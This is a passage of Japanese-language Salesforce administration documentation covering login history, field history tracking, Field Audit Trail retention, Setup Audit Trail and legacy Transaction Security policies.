ている値を確認してみてください。なお、これらの値は、OpenID プロバイダ
が必ずしもサポートしているわけではないことにご注意ください。認証メ
ソッド参照クレームの詳細については、OpenID Foundationの OpenID Connect Core

1.0 標準を参照してください。
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• HTTP ログインメソッド – セッションのログインで使用された HTTP メソッド (POST、GET、または不明) を参照
します。

• SAML シングルサインオン (SSO) – 組織で SAML SSO ID プロバイダ証明書を使用する場合、SAML SSO 履歴を参照
します。

• 私のドメイン – [ログイン URL] 列に表示される [私のドメイン] の URL を使用してユーザがいつログインして
いるかを確認できます。

• ライセンスマネージャユーザ – 033*********2@00d2********db という形式の名前を持つ内部ユーザは、ライセ
ンス管理アプリケーション (LMA) に関連付けられたユーザであることを示します。このアプリケーションで
は、登録者組織が使用するライセンスの数を管理します。これらの社内ユーザは、LMA によって管理され
る AppExchange パッケージがあるライセンス管理組織 (LMO) と登録者組織に表示されることがあります。

リストビューの作成
次の検索条件を使用して、カスタムリストビューを作成できます。
• アプリケーション
• 認証メソッド参照
• ログイン時刻
• ログイン種別
• ログイン URL

• TLS プロトコル
• TLS 暗号化スイート
たとえば、特定の時間範囲のすべてのログイン、またはモバイルデバイスなどの特定のアプリケーションから
のすべてのログインのビューを作成できます。また、カスタムリストビューに含める項目も定義できます。デ
フォルトのビューと同様に、カスタムビューには、過去 6 か月間のログイン履歴のレコードが最大 20,000 件ま
で表示されます。
ほとんどのアプリケーションでは、[アプリケーション] 検索条件を使用して、特定のアプリケーションからの
ログインを表示できます。OAuth ベースの認証を使用するアプリケーションでは、[アプリケーション] 検索条
件の動作が異なります。OAuth を使用しているアプリケーションからのログインを表示するには、[アプリケー
ション] の値を「OAuth」に設定します。次に、[ログイン URL] などの他の条件を使用して、ビューを特定のア
プリケーションからの OAuth ベースのログインに絞り込みます。
1. [ログイン履歴] ページで、[新規ビューの作成] をクリックします。
2. ビューの名前を入力します。
3. 検索条件を指定します。
4. 表示する項目を選択します。

15 個の項目まで表示できますが、使用しているページレイアウトで使用可能である必要があります。テキ
ストエリア項目には、255 文字まで表示されます。

メモ: 地理位置情報技術の性質上、地理位置情報項目の精度 (国、市区郡、郵便番号など) は変化する
場合があります。
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ログイン履歴のダウンロード
過去 6 か月間の Salesforce 組織および Experience Cloud サイトへのユーザログインをダウンロードできます。この
レポートには、API を介したログインも含まれます。
1. [設定] から、[クイック検索] ボックスに「ログイン履歴」と入力し、[ログイン履歴] を選択します。
2. 使用するファイル形式を選択します。

• CSV ファイル
• GZIP ファイル — ファイルは圧縮されているため、最もすばやくダウンロードするには最適なオプショ

ンです。

3. ファイルの内容を選択します。[すべてのログイン] オプションには、API アクセスによるログインも含まれ
ます。

4. [今すぐダウンロード] をクリックします。

項目履歴管理
エディション

使用可能なインター
フェース: Salesforce Classic
(すべての組織で使用でき
るわけではありません)、
Lightning Experience、およ
び Salesforce アプリケー
ション

使用可能なエディション:
Contact Manager Edition、
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

特定の項目を選択して、オブジェクトの [履歴] 関連リストの項目履歴を追跡お
よび表示できます。項目履歴データは、組織経由で最大 18 か月間、API 経由で最
大 24 か月間保持されます。項目履歴管理データは、Salesforce 組織のデータスト
レージ制限に含まれません。
カスタムオブジェクトおよび次の標準オブジェクトの項目履歴を追跡できます。
• 取引先
• 記事
• 納入商品
• キャンペーン
• ケース
• 取引先責任者
• 契約
• 契約品目名
• 危機
• 従業員数
• 従業員危機対応評価
• エンタイトルメント
• 個人
• 内部組織単位
• ナレッジ
• リード
• 商談
• 注文
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• 注文商品
• 商品
• 価格表エントリ
• サービス予定
• サービス契約
• ソリューション
• 作業指示
• 作業指示品目
ユーザがこれらの項目を変更すると、エントリが [履歴] 関連リストに追加されます。すべてのエントリには、
日付、時間、変更内容、変更者が含まれます。すべての項目種別が履歴トレンドレポートで使用できるわけで
はありません。ケースのエスカレーションなど、特定の変更は必ず追跡されます。
Salesforce では、オブジェクトの追跡項目履歴を StandardObjectNameHistory または CustomObjectName__History という
関連付けられたオブジェクトに保存します。たとえば、AccountHistory は、取引先レコードの項目の値に対する
変更の履歴を表します。同様に、MyCustomObject__History では MyCustomObject__c カスタムオブジェクトの項目
履歴を追跡します。

メモ:  Spring '15 リリース以降、エンティティ項目履歴の保持期間を標準の 18 ～ 24 か月より長くするには、
項目監査履歴アドオンを購入する必要があります。アドオンサブスクリプションが有効になると、サブ
スクリプションで提供される保持ポリシーを反映して項目履歴の保持期間が変更されます。組織が 2011

年 6 月 1 日より前に作成されている場合、Salesforce では引き続きすべての項目履歴が保持されます。組織
が 2011 年 6 月 1 日以降に作成され、アドオンを購入しない場合、項目履歴は標準の 18 ～ 24 か月間保持さ
れます。

考慮事項
項目履歴管理を使用する場合は、次の点を考慮してください。
一般的な考慮事項

• Salesforce は、項目履歴の追跡を、項目で有効化された日時から開始します。この日時よりも前の変更は
含まれておらず、履歴関連リストのエントリは作成されていません。

• 過去 18 ～ 24 か月間の項目履歴を取得するには、データローダまたは queryAll()  API を使用します。
• 255 文字を超える項目に対する変更は、編集済みとして追跡され、元の値と新しい値は記録されません。
• 時間項目に対する変更は、項目履歴関連リストでは追跡されません。
• 項目履歴管理のタイムスタンプは、秒単位で正確です。つまり、2 人のユーザが同じ秒内で同じレコー

ドの同じ追跡項目を更新すると、両方の更新のタイムスタンプは同じになります。Salesforce は、データ
ベースへのこれらの変更のコミット順序を保証できません。その結果、表示値の順序が不適当になる可
能性があります。

• 標準オブジェクトまたはカスタムオブジェクトのレコードタイプを作成して、同じメタデータ API リリー
スでそのレコードタイプの項目履歴管理を有効にすることはできません。代わりに、1 つのリリースで
レコードタイプを作成し、別のリリースでそのレコードタイプの履歴管理を有効にします。
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• Salesforce では、StandardObjectNameHistory または CustomObjectName__History オブジェクトの最近表示または
参照された機能は有効にしません。そのため、これらの履歴オブジェクトの SOQL クエリで FOR VIEW 句
または FOR REFERENCE 句を使用することはできません。たとえば、次の SOQL クエリは無効です。
SELECT AccountId, Field FROM AccountHistory LIMIT 1 FOR VIEW

その他の Salesforce 機能とのインタラクション
• Lightning では、[作成日] 項目と [ID] 項目の順序の差を表示できます。すべての変更追跡は引き続きコミッ

トされ、監査ログに記録されます。ただし、データベースでこうした変更が行われる正確な時間は大幅
に異なる可能性があり、同じミリ秒以内に行われる保証はありません。たとえば、項目でコミット時間
を増やすトリガまたは更新があり、時間に差が生まれる可能性があります。その期間中、ID は昇順で作
成されますが、同じ理由により、やはり差が生まれる可能性があります。

• プロセスビルダー、Apex トリガ、またはフローによってオブジェクトに変更が加えられ、現在のユーザ
に編集権限がない場合、その変更は追跡されません。項目履歴管理では現在のユーザの権限が優先さ
れ、システムコンテキストで発生する変更は記録されません。

• Salesforce は、特定の変更がデータベースに保存されない場合でも、履歴が管理されている項目につい
て、すべての変更の追跡を試みます。たとえば、管理者が、Postal Code 項目の値 12345 を 94619 に変
更するオブジェクトに Apex before トリガを定義したとします。ユーザがオブジェクトにレコードを追加
し、Postal Code 項目に「12345」を設定した場合、Apex トリガによって、データベースに保存される実
際の Postal Code の値は 94619 になります。最終的には 1 つの値しかデータベースに保存されませんが、
Zip Code 項目の追跡履歴には 2 つの新しいエントリが追加されます。
– No value --> 12345  (ユーザが新しいレコードを挿入したときの変更)

– 12345  --> 94619  (Apex トリガによる変更)

翻訳とロケールに関する考慮事項
• 追跡された項目の値は、自動的には翻訳されません。それらの値は、作成された際の言語で表示されま

す。たとえば、項目が「Green」から「Verde」に変更された場合、その項目の値がトランスレーショ
ンワークベンチを使用して他の言語に翻訳されていない限り、ユーザの言語に関係なく「Verde」が表
示されます。この動作は、レコードタイプおよび選択リスト値にも適用されます。

• トランスレーションワークベンチで翻訳済みのカスタム項目ラベルに対する変更は、[履歴] 関連リスト
を参照しているユーザのロケールに合わせて表示されます。たとえば、カスタム項目ラベルが Redで、
スペイン語では Rojoと翻訳されている場合、スペインロケールのユーザにはそのカスタム項目ラベル
が Rojo と表示されます。それ以外のユーザには、そのカスタム項目ラベルが Red と表示されます。

• データ項目、数値項目および標準項目に対する変更は、[履歴] 関連リストを参照しているユーザのロ
ケールに合わせて表示されます。たとえば、日付を 2012 年 8 月 5 日に変更すると、英語 (アメリカ)

ロケールのユーザには 8/5/2012 と表示され、英語 (イギリス) ロケールのユーザには 5/8/2012 と表
示されます。

このセクションの内容:

標準オブジェクトの項目履歴管理
オブジェクトの管理設定で標準オブジェクトの項目履歴管理を有効にできます。
カスタムオブジェクトの項目履歴管理
オブジェクトの管理設定でカスタムオブジェクトの項目履歴管理を有効にできます。
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項目履歴管理の無効化
オブジェクトの管理設定から項目履歴管理を無効にできます。
項目監査履歴
項目監査履歴を使用すると、アーカイブ済みの項目履歴データを、データがアーカイブされた時点から最
長 10 年保持するポリシーを定義できます。この機能により、監査機能とデータ保持に関する業界の規制に
準拠できます。

標準オブジェクトの項目履歴管理

エディション

使用可能なインター
フェース: Salesforce Classic
(すべての組織で使用でき
るわけではありません)、
Lightning Experience、およ
び Salesforce アプリケー
ション

使用可能なエディション:
Contact Manager Edition、
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

オブジェクトの管理設定で標準オブジェクトの項目履歴管理を有効にできます。
法人取引先と個人取引先の両方を使用している場合は、次の点に注意してくだ
さい。
• 取引先の項目履歴管理は、法人取引先と個人取引先の両方に適用されます。

そのため、最大項目数の 20 項目には両方の種類の取引先が含まれます。
• 個人取引先責任者に直接行われた変更は、項目履歴で追跡されません。
必要に応じて、項目履歴管理を設定します。
1. 項目履歴を追跡するオブジェクトの管理設定から、項目領域に移動します。
2. [項目履歴管理の設定] をクリックします。

ヒント: オブジェクトの項目管理を有効にするときは、ページレイアウ
トをカスタマイズして、オブジェクトの [履歴] 関連リストを含めます。

3. 取引先、取引先責任者、リード、および商談の場合は、[取引先履歴の有効
化]、[取引先責任者履歴の有効化]、[リード履歴の有効化]、または [商談履
歴を有効化] チェックボックスをそれぞれオンにします。

4. 履歴管理する項目を選択します。
オブジェクトごとに、標準項目とカスタム項目を合わせて最大20項目まで選
択できます。取引先の場合、この制限には法人取引先と個人取引先の両方の
項目が含まれます。
ケースのエスカレーションなど、特定の変更は必ず追跡されます。
次の項目は追跡できません。
• 数式項目、積み上げ集計項目、または自動採番項目
• [作成者] および [最終更新者]

• [AI 予測] チェックボックスがオンになっている項目
• 商談の [期待収益] 項目
• 項目の [マスタソリューション名] または [マスタソリューション詳細] 項目。多言語ソリューションが

有効な組織の翻訳ソリューションにのみ表示されます。

5. [保存] をクリックします。
Salesforce は、この日時から履歴を追跡します。この日時以前の変更は履歴に含まれません。
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カスタムオブジェクトの項目履歴管理

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます)、Lightning
Experience、および
Salesforce アプリケーショ
ン

使用可能なエディション:
Contact Manager Edition、
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

オブジェクトの管理設定でカスタムオブジェクトの項目履歴管理を有効にでき
ます。
1. [設定] から [クイック検索] ボックスに「オブジェクトマネージャ」と入力し、

[オブジェクトマネージャ] を選択します。
2. カスタムオブジェクトをクリックして、[編集] をクリックします。
3. [省略可能な機能] で [項目履歴管理] チェックボックスをオンにします。

ヒント: オブジェクトの項目管理を有効にするときは、ページレイアウ
トをカスタマイズして、オブジェクトの [履歴] 関連リストを含めます。

4. 変更内容を保存します。
5. [カスタム項目 & リレーション] セクションにある [項目履歴管理の設定] をク

リックします。
このセクションでは、標準項目とカスタム項目の両方のカスタムオブジェク
トの履歴を設定できます。

6. 履歴管理する項目を選択します。
オブジェクトごとに、標準項目とカスタム項目を最大20項目まで選択できま
す。次のものは追跡できません。
• 数式項目、積み上げ集計項目、または自動採番項目
• [作成者] および [最終更新者]

• [AI 予測] チェックボックスがオンになっている項目

7. [保存] をクリックします。
Salesforce は、この日時から履歴を追跡します。この日時以前の変更は履歴に
含まれません。
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項目履歴管理の無効化

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます))、Lightning
Experience、および
Salesforce アプリケーショ
ン

使用可能なエディション:
Contact Manager Edition、
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

オブジェクトの管理設定から項目履歴管理を無効にできます。

メモ:  Apex がオブジェクトの項目の 1 つを参照している場合は、そのオブ
ジェクトに対する項目履歴管理を無効にできません。

1. 項目履歴管理を停止するオブジェクトの管理設定から、[項目] に移動します。
2. [項目履歴管理の設定] をクリックします。
3. 作業しているオブジェクトの [履歴の有効化] ([取引先履歴の有効化]、[取引先

責任者履歴の有効化]、[リード履歴の有効化]、[商談履歴を有効化]など) を選
択解除します。
[履歴] 関連リストが、関連付けられているオブジェクトのページレイアウト
から自動的に削除されます。
標準オブジェクトの項目履歴管理を無効にしても、無効にした日時までの項
目履歴データをレポートできます。カスタムオブジェクトの項目履歴管理を
無効にした場合は、その項目履歴をレポートできません。

4. 変更内容を保存します。
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項目監査履歴

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます)、Lightning
Experience、および
Salesforce モバイルアプリ
ケーション

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

項目履歴の保持ポリシー
を指定する
• 「項目履歴の保持」

項目監査履歴を使用すると、アーカイブ済みの項目履歴データを、データがアー
カイブされた時点から最長 10 年保持するポリシーを定義できます。この機能に
より、監査機能とデータ保持に関する業界の規制に準拠できます。
Salesforce メタデータ API を使用して、項目履歴管理が有効になっている項目の項
目履歴の保持ポリシーを定義します。次に、REST API、SOAP API、および Tooling

API を使用して、アーカイブデータを処理します。項目監査履歴の有効化につい
ての詳細は、Salesforce の担当者にお問い合わせください。
項目履歴は [履歴] 関連リストから FieldHistoryArchive  Big Object にコピーさ
れます。関連履歴リストに 1 つの HistoryRetentionPolicy  (取引先履歴など)

を定義し、アーカイブするオブジェクトのさまざまな項目監査履歴保持ポリシー
を指定します。次に、メタデータ API を使用して、Big Object をリリースします。
オブジェクトの保持ポリシーは必要な頻度で更新できます。項目監査履歴では、
1 オブジェクトにつき 60 個までの項目を追跡できます。項目監査履歴がなけれ
ば、1 オブジェクトにつき追跡できる項目は 20 個のみです。項目監査履歴を使
用した場合、アーカイブ済みの項目履歴データは、データがアーカイブされた
時点から最長 10 年保持されます。項目監査履歴を使用しない場合、アーカイブ
済みのデータは、18 か月のみ保持されます。

重要: 項目履歴管理データと項目監査履歴データは、Salesforce 組織のデータ
ストレージ制限に含まれません。

項目履歴の保持ポリシーは次のオブジェクトに設定できます。
• 取引先 (個人取引先を含む)

• 納入商品
• キャンペーン
• ケース
• 取引先責任者
• 契約
• 契約品目名
• 危機
• 従業員
• 従業員危機対応評価
• エンタイトルメント
• 個人
• 内部組織単位
• リード
• 商談
• 注文
• 注文商品
• 価格表
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• 価格表エントリ
• 商品
• サービス予定
• サービス契約
• ソリューション
• 作業指示
• 作業指示品目
• 項目履歴管理が有効なカスタムオブジェクト

メモ: 項目監査履歴を有効にすると、サポートされるオブジェクトに対して HistoryRetentionPolicy

が自動的に設定されます。デフォルトでは、本番組織では 18 か月後、Sandbox 組織では 1 か月後にデータ
がアーカイブされ、アーカイブされたすべてのデータは 10 年間保存されます。メタデータ API を使用して
オブジェクトの定義を取得するときには、デフォルトの保持ポリシーは含まれません。カスタム保持ポ
リシーのみがオブジェクト定義と一緒に取得されます。

管理パッケージや未管理パッケージに項目履歴の保持ポリシーを含めることができます。
次の項目は、追跡できません。
• 数式項目、積み上げ集計項目、または自動採番項目
• 作成者および最終更新者
• 商談の [期待収益] 項目
• ソリューションの [マスタソリューション名] 項目または [マスタソリューション詳細] 項目
• ロングテキスト項目
• 複数選択項目
項目監査履歴ポリシーを定義およびリリースすると、本番データが関連履歴リスト (取引先履歴など) から
FieldHistoryArchive  Big Object に移行されます。最初のコピーは、ポリシーで定義された項目履歴をアー
カイブストレージに書き込みます。これには時間がかかる場合があります。その後のコピーは前回のコピー以
降の変更のみが転送されるため、高速に処理されます。アーカイブデータのクエリには、限られた SOQL のセッ
トを使用できます。本番データのレコードを削除すると、関連付けられている履歴追跡レコードもカスケード
削除されますが、FieldHistoryArchive  Big Object にコピーされた履歴は削除されません。
FieldHistoryArchive のデータを削除する場合は、「項目履歴および項目監査履歴データの削除」を参照
してください。
非同期 SOQL を使用して、FieldHistoryArchive  Big Object のデータ量に基づいてカスタムオブジェクトから
集計レポートを作成します。

重要: 組織でプラットフォームの暗号化を有効にし、項目監査履歴を使用して暗号化項目を追跡する場
合、非同期 SOQL の使用に制限事項があります。特に、非同期 SOQL を使用して FieldHistoryArchive

Big Object の NewValue 項目または OldValue 項目を照会することはサポートされていません。
FieldHistoryArchive の暗号化された NewValue 項目と OldValue 項目および暗号化されていない両
項目の照会には SOQL を使用します。

ヒント: プラットフォームの暗号化を後でオンにしても、以前アーカイブしたデータは、暗号化されない
ままとなります。たとえば、組織では、電話番号項目などの取引先項目に対してデータ履歴保持ポリシー
を定義するために項目監査履歴を使用します。プラットフォームの暗号化を有効にした後で、その項目
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の暗号化を有効にすると、取引先の電話番号データが暗号化されます。新しい電話番号レコードと [取引
先履歴] 関連リストに保存された以前の更新は暗号化されます。ただし、FieldHistoryArchive オブ
ジェクトにアーカイブ済みの電話番号履歴データは、暗号化されずに保存されます。組織で以前にアー
カイブしたデータを暗号化する必要がある場合は、Salesforce にお問い合わせください。保存された項目履
歴データを暗号化し、再度アーカイブしてから、暗号化されていないアーカイブを削除します。

設定変更履歴を使用した設定変更の監視
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

監査履歴を参照する
• 「設定・定義の参照」

設定変更履歴では、自分自身と他のシステム管理者が行った最近の設定変更を
追跡します。監査履歴は、複数のシステム管理者がいる場合に特に役立ちます。
監査履歴を表示するには、[設定] から、[クイック検索] ボックスに「設定変更履
歴の参照」と入力し、[設定変更履歴の参照] を選択します。過去 180 日間にわた
る組織の設定履歴全体をダウンロードするには、[ダウンロード]をクリックしま
す。180 日を過ぎると、設定エンティティレコードは削除されます。
履歴には、組織に対して行われた最新の設定変更が 20 件表示されます。変更実
施日、変更実施者、および変更内容が一覧表示されます。代理ユーザ (システム
管理者やカスタマーサポート担当者など) がエンドユーザに代わって設定変更を
行った場合、[代理ユーザ] 列に代理ユーザのユーザ名が表示されます。たとえ
ば、ユーザがシステム管理者にログインアクセス権限を与え、そのシステム管
理者が設定変更を行うと、システム管理者のユーザ名がリストに表示されます。
設定変更履歴では、次の設定の変更が追跡されます。

追跡される変更設定

管理 • 組織情報、言語やロケールなどのデフォルト設定、企業メッ
セージ

• マルチ通貨
• ユーザ、ポータルユーザ、ロール、権限セット、プロファイ

ル
• ユーザのメールアドレス
• リンクとして送信したメール添付ファイルを削除
• メールフッター (作成、編集、削除など)

• メールの送信設定
• ディビジョン (ディビジョンの作成、編集、移行、およびユー

ザのデフォルトディビジョンの変更など)

• 証明書 (追加または削除)

• ドメイン名
• Salesforce の ID プロバイダとしての有効化または無効化
• レコードが作成、編集、または削除されたときの DKIM、メー

ルリレー、メールドメイン検索条件の値
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追跡される変更設定

プロファイル • 標準プロファイルまたはカスタムプロファイルの権限の変更
• 一般ユーザ権限または管理者権限の変更
• プロファイルでの FLS の変更
• 標準プロファイルまたはカスタムプロファイルのエンティティ権限の変更
• プロファイルページレイアウトの変更
• 標準プロファイルまたはカスタムプロファイルのタブセットの変更
• ユーザタブセットの上書きの変更
• 標準プロファイルまたはカスタムプロファイルでのユーザタブセットのカスタマイズ

の上書きの変更
• 標準プロファイルまたはカスタムプロファイルのタブセットの表示の変更
• タブセットの表示の変更
• デフォルトのタブセットの変更
• 標準プロファイルまたはカスタムプロファイルでのカスタムアプリケーションのデフォ

ルトの変更
• プロファイルの名前変更、コピー、削除
• プロファイルの説明の変更
• 標準プロファイルまたはカスタムプロファイルのコピー
• コンソール設定またはレイアウトの変更
• このプロファイルで有効なすべてのデータの表示または変更
• プロファイルのログイン時間帯の変更。
• プロファイルのクライアント設定の変更
• プロファイルへのレコードタイプの追加または削除
• デフォルトのレコードタイプの変更
• デフォルトの個人取引先レコードタイプの変更
• デフォルトの法人取引先レコードタイプの変更
• このプロファイルのシングルサインオンの有効化または無効化

権限セット/グ
ループ

• 権限セット (またはグループ) の作成、コピー、削除
• ライセンスなしでの権限セットの作成またはコピー
• 権限セットの開発者名、表示ラベル、説明の変更
• システム管理者によるセッションの有効化の変更
• システム管理者による権限セット内の権限の有効化または無効化
• システム管理者による権限セット内のオブジェクトの FLS の変更
• システム管理者によるユーザからの権限セットの割り当てまたは割り当て解除
• システム管理者による権限セット内のタブ設定の変更
• ユーザに対する権限セットグループの割り当てまたは削除
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追跡される変更設定

• 権限セットグループの再計算

カスタマイズ • ユーザインターフェース設定 (折りたたみ可能なセクション、簡易作成、詳細のフロー
ト表示、関連リストのフロート表示リンクなど)

• ページレイアウト、アクションレイアウト、検索レイアウト
• コンパクトレイアウト
• Salesforce アプリケーションナビゲーションメニュー
• インライン編集
• 数式、選択リストの値、項目属性 (自動採番項目の形式、項目管理可能性、暗号化項目

のマスキングなど) を含む、カスタム項目と項目レベルセキュリティ
• リードの設定、リード割り当てルール、リードキュー
• 活動設定
• サポート設定、営業時間、ケース割り当てとエスカレーションルール、ケースキュー
• Salesforce カスタマーサポートへの要求
• タブ名 (元のタブ名にリセットしたタブなど)

• カスタムアプリケーション (Salesforce コンソールアプリケーションなど)、カスタムオブ
ジェクト、カスタムタブ

• 契約の設定
• 売上予測の設定
• メール-to-ケース、オンデマンドメール-to-ケース (有効化または無効化)

• カスタムボタン、カスタムリンク、カスタム S コントロール (標準ボタンの上書きなど)

• ドラッグアンドドロップによるスケジュール (有効化または無効化)

• 類似商談 (有効化、無効化、カスタマイズ)

• 見積 (有効化または無効化)

• データカテゴリグループ、データカテゴリ、オブジェクトへのカテゴリグループの割
り当て

• 記事タイプ
• カテゴリグループ、カテゴリ
• Salesforce ナレッジの設定
• アイデアの設定
• アンサー設定
• フィードの項目追跡
• キャンペーンインフルエンスの設定
• 重要な更新 (有効化または無効化)

• Chatter メール通知 (有効化または無効化)

• 招待およびメールドメインの Chatter の新規ユーザ作成設定 (有効化または無効化)
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追跡される変更設定

• 入力規則

セキュリティと
共有

• 公開グループ、共有ルール、組織単位の共有 ([階層を使用したアクセス許可] オプショ
ンなど)

• パスワードポリシー
• パスワードのリセット
• セッションの設定 (セッションタイムアウトなど。[セッションタイムアウトの開始条

件]および[ログインに必要なセッションセキュリティレベル]プロファイル設定は除く)

• 代理管理グループ、代理管理者が管理できるアイテム (代理管理者が行った設定変更も
追跡する)

• Lightning Login (有効化、無効化、登録、キャンセル)

• ユーザが自分のごみ箱と組織のごみ箱から完全に削除したレコードの数
• SAML (Security Assertion Markup Language) の設定
• Salesforce 証明書
• ID プロバイダ (有効化または無効化)

• 指定ログイン情報
• サービスプロバイダ
• Shield プラットフォームの暗号化の設定
• イベントマネージャ
• トランザクションセキュリティ
• いくつかの接続アプリケーションポリシーおよび設定の更新

データの管理 • 一括削除の使用 (一括削除がユーザのごみ箱の削除レコード制限を超えた場合など)。
• データエクスポートの要求
• 一括変更の使用
• レポート作成スナップショット (レポート作成スナップショットのソースレポートまた

は対象オブジェクトの定義、削除、変更など)

• データインポートウィザードの使用
• Sandbox の削除

開発 • Apex クラスおよびトリガ
• Visualforce ページ、カスタムコンポーネント、静的リソース
• Lightning コンポーネント
• Lightning ページ
• アクションリンクテンプレート
• カスタム設定
• カスタムメタデータ型、カスタムメタデータレコード
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追跡される変更設定

• リモートアクセスの定義
• Salesforce サイトの設定

さまざまな設定 • API 使用制限通知 (作成)

• テリトリー
• プロセスの自動化設定
• 承認プロセス
• ワークフローアクション (作成または削除)

• フロー
• Salesforce AppExchange からインストールまたはアンインストールしたパッケージ
• カスタムおよび標準通知種別の通知の配信設定

アプリケーショ
ンの使用

• 取引先チームセリングと商談チームセリングの設定
• Google Apps サービスの有効化
• データセット、モバイルビュー、除外項目などのモバイル設定
• パートナーユーザとしてパートナーポータルにログインしている「外部ユーザの管理」

権限を持つユーザ
• カスタマーポータルユーザとして Salesforce カスタマーポータルにログインしている「カ

スタマーユーザを管理」権限を持つユーザ
• パートナーポータル取引先 (有効化または無効化)

• Salesforce カスタマーポータル取引先 (無効化)

• Salesforce カスタマーポータル (有効化または無効化)

• 複数のカスタマーポータルの作成
• エンタイトルメントプロセス、エンタイトルメントテンプレート (変更または作成)

• Salesforce カスタマーポータルのセルフ登録 (有効化または無効化)

• カスタマーポータルまたはパートナーポータルのユーザ (有効化または無効化)
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トランザクションセキュリティポリシー (従来)

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

トランザクションセキュリティは、Salesforce リアルタイムイベントを受信し、
作成したセキュリティポリシーに基づいて適切なアクションと通知を適用する
フレームワークです。トランザクションセキュリティは、設定したポリシーに
基づいてイベントを監視します。ポリシーがトリガされると、通知を受信し、
必要に応じてアクションを実行できます。

警告: 従来のトランザクションセキュリティは、Summer '20 以降すべての
Salesforce 組織で廃止される予定です。詳細は、「Legacy Transaction Security

Retirement (従来のトランザクションセキュリティの廃止)」を参照してくだ
さい。新しいフレームワークを使用してトランザクションセキュリティポ
リシーを作成する場合は、拡張トランザクションセキュリティのドキュメ
ントを参照してください。従来のポリシーを新しいフレームワークに移行
する場合は、移行のドキュメントを参照してください。

ポリシーは、指定したイベントを使用してアクティビティを評価します。各ポ
リシーに、通知、ブロック、多要素認証の適用などのリアルタイムアクション
を定義します。
たとえば、ユーザあたりの同時セッション数を制限する同時セッションの制限ポリシーを有効化するとしま
す。また、ポリシーがトリガされた場合にメールで通知されるように、ポリシーを変更します。さらに、ポリ
シーの Apex 実装を更新して、デフォルトの 5 セッションではなく 3 セッションにユーザを制限します (大変な
作業のように聞こえますが、実際は簡単です)。その後で、3 つのログインセッションを持つユーザが 4 つ目の
セッションを作成しようとします。この操作はポリシーにより回避され、新しいセッションを始める前に既存
のいずれかのセッションを終了するようユーザに求めます。同時に、ポリシーがトリガされたことがユーザに
通知されます。
トランザクションセキュリティアーキテクチャでは、セキュリティポリシーエンジンを使用して、イベントを
分析し必要なアクションを判断します。
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トランザクションセキュリティポリシーは、イベント、通知、およびアクションで構成されます。たとえば、
ユーザが取引先データをエクスポートしようとしたら、操作をブロックし、メールで通知を受け取ることがで
きます。

このセクションの内容:

従来のトランザクションセキュリティの設定
カスタムポリシーを作成する前に Salesforce 組織のトランザクションセキュリティを有効化および設定しま
す。この機能を使用できるのは、システム管理者プロファイルが割り当てられた有効ユーザのみです。
従来のトランザクションセキュリティポリシーの作成
特定のイベントでトリガされる独自でカスタムの従来のポリシーを作成します。この機能を使用できるの
は、システム管理者プロファイルが割り当てられた有効ユーザのみです。
従来のトランザクションセキュリティの Apex ポリシー
すべてのトランザクションセキュリティポリシーでは、Apex TxnSecurity.PolicyCondition または
TxnSecurity.EventCondition インターフェースを実装する必要があります。

従来のトランザクションセキュリティの設定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

必要なユーザ権限

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「アプリケーションの

カスタマイズ」

トランザクションセキュ
リティポリシーを管理す
る
• 「Apex 開発」

カスタムポリシーを作成する前に Salesforce 組織のトランザクションセキュリティ
を有効化および設定します。この機能を使用できるのは、システム管理者プロ
ファイルが割り当てられた有効ユーザのみです。

警告: 従来のトランザクションセキュリティは、Summer '20 以降すべての
Salesforce 組織で廃止される予定です。従来のフレームワークを使用してト
ランザクションセキュリティポリシーを作成、編集、有効化することがで
きなくなり、こうした操作を実行しようとするとエラーメッセージが表示
されます。詳細は、「Legacy Transaction Security Retirement (従来のトランザク
ションセキュリティの廃止)」を参照してください。新しいフレームワーク
を使用してトランザクションセキュリティポリシーを作成する場合は、拡
張トランザクションセキュリティのドキュメントを参照してください。従
来のポリシーを新しいフレームワークに移行する場合は、移行のドキュメ
ントを参照してください。

1. トランザクションセキュリティポリシーを有効にして使用できるようにしま
す。
a. [設定] から、[クイック検索] ボックスに「トランザクションセキュリティ」

と入力し、[トランザクションセキュリティポリシー] を選択します。
b. [有効化] をクリックします。
トランザクションセキュリティを有効にすると、同時ユーザセッションの制
限とリードデータエクスポートの 2 つのポリシーが作成されます。これらの
サンプルポリシーは、廃止予定の従来のトランザクションセキュリティフ
レームワークの一部であるため、Spring '20 リリース以降は、新しい組織でこ
れらのポリシーが作成されなくなります。Spring '20 リリースより前に構築さ
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れた組織には、引き続きこれらのサンプルポリシーが含まれます。詳細と例は、「トランザクションセキュ
リティポリシー」を参照してください。

